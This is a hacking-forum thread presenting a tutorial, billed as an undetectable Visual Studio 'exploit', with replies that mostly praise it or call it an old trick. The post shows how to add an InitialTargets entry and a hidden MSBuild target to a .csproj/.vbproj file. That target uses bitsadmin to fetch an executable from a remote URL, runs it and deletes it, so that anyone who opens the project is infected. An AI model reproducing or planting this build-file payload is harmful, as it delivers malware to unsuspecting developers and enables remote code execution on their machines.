Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD]

Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this
PHP Code

<?php 
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 

Edit this like to incluide
PHP Code

<?php 
InitialTargets
="Build" 

The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:
PHP Code

<?php 
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 

Step 4:

Add this to the end of the file, but before the closing "</project>" tag
PHP Code

<?php 
<Target Name="Buislfd">
    <
Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
      <
Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </
Exec>
    <
Exec Command="%temp%\1.exe" >
      <
Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </
Exec>
    <
Exec Command="del %temp%\1.exe" >
      <
Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </
Exec>
    <
Message Importance="high" Text="$(ErrorCode)" />
  </
Target> 

And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Proof (Click to View)

"Remember that you must behave in life as at a dinner party."

"In every affair consider what precedes and follows, and then undertake it."


- Epictetus, The Enchiridion
Well this isn't really a 0day anymore, now is it.
humble rubyist in a world of pythonistas
(Dec 12, 2016 09:53 AM)Faith Connors Wrote:  Well this isn't really a 0day anymore, now is it.

Yeah....
Plus I've seen something very similar on another forum. Good share though.
Can you hear my weed?



cuz it's loud
Well, I'm never looking at source code again. Thanks for the share
[Image: c5bcca49a3c4d3c6c7a27493507eba95.png]
(Dec 12, 2016 12:01 PM)Bossk Wrote:  Well, I'm never looking at source code again. Thanks for the share
You can always check the file before opening it.
This is a way old method and obviously its not a 0day.
Posting to comeback later.
[Image: 0ra6Ugu.gif]
Eyy it does not work Can someone help me with this
good method but it known for ages, also all users get notifications before start any project and every one can check it manually before using the project
Didn’t know about this one, nice share..
phire@phire:~# sudo apt-get install life
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package life
phire@phire:~# [Image: D7CMWR2.gif]
Just so we are clear, this isn't an exploit, its functionality.
nice to have you share it here mate
#c/c++# & #asm#  


The way to patch bad code is to remove the bad code, not to add new bad code that hides the old bad code 
good method and good job !


Possibly Related Threads...
Thread / Author Replies Views Last Post
by nabil779Oct 20, 2019 03:37 PM 9 550 Oct 20, 2019 03:37 PM
Last Post: amster666999
by dujlMar 17, 2019 02:15 PM 1 288 Mar 17, 2019 02:15 PM
Last Post: dujl
by knownasknownNov 20, 2018 01:32 AM 4 201 Nov 20, 2018 01:32 AM
Last Post: Last_viking